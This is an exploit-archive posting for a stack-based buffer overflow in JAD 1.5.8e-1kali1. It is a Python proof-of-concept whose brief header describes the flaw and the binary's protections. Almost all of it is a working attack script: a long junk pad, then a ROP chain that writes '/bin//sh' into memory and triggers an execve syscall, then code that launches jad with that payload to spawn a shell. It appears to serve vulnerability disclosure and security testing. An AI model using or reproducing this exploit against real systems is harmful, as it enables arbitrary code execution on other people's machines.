JAD 1.5.8e-1kali1 Buffer Overflow
Posted on 26 June 2017
#!/usr/bin/python # Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com> # Tested on: GNU/Linux - Kali 2017.1 Release # # Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate boundary-checks on user-supplied input. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Package details: # Version: 1.5.8e-1kali1 # Architecture: all # Maintainer: Devon Kearns <dookie@kali.org> # # Vendor homepage: http://www.varaneckas.com/jad/ # # CANARY : disabled # FORTIFY : disabled # NX : ENABLED # PIE : disabled # RELRO : disabled # import os, subprocess from struct import pack ropchain = "A"*8150 # junk ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe0) # @ .data ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0807b744) # pop eax ; ret ropchain += '/bin' ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe4) # @ .data + 4 ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0807b744) # pop eax ; ret ropchain += '//sh' ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret ropchain += pack('<I', 0x0811abe0) # @ .data ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x08067b43) # pop ecx ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080c861f) # int 0x80 try: print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco") print("[*] Please wait.. running") subprocess.call(["jad", ropchain]) except OSError as e: if e.errno == os.errno.ENOENT: print "JAD not found!" else: print "Error executing exploit" raise
